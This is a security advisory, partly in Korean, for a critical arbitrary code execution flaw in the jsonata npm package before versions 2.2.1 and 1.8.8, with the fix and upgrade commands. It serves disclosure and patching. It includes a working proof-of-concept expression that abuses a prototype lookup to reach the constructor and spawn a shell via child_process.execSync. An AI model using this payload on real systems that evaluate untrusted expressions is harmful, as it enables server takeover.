CRITICAL

GHSA-2943-5xfg-gq5f

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

빠른 조치

GHSA-2943-5xfg-gq5f — jsonata: 아래 명령으로 수정 버전으로 올리세요.

npm install jsonata@2.2.1

상세

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.

## PoC

```js import jsonata from "jsonata";

const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`);

await expression.evaluate({}); ```

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

npm / jsonata

최초 영향 버전: 2.0.0 수정 버전: 2.2.1

수정 npm install jsonata@2.2.1

npm / jsonata

최초 영향 버전: 0 수정 버전: 1.8.8

수정 npm install jsonata@1.8.8

상세

이 버전이 영향받나요?

영향 패키지

참고